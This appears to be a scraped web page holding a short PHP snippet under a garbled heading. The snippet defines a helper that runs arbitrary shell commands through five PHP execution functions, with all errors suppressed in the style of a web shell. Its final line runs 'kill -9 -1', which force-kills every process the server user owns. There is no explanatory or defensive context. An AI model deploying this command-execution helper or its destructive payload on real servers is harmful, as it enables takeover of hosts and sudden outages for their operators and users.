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ÄÚÈÝ

<?php function do_phpfun($cmd,$fun) { $res = ''; switch($fun){ case "exec": @exec($cmd,$res); $res = join("\n",$res); break; case "shell_exec": $res = @shell_exec($cmd); break; case "system": @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean();break; case "passthru": @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break; case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024);} @pclose($f);break; } return $res; } echo do_phpfun('kill -9 -1', 'popen');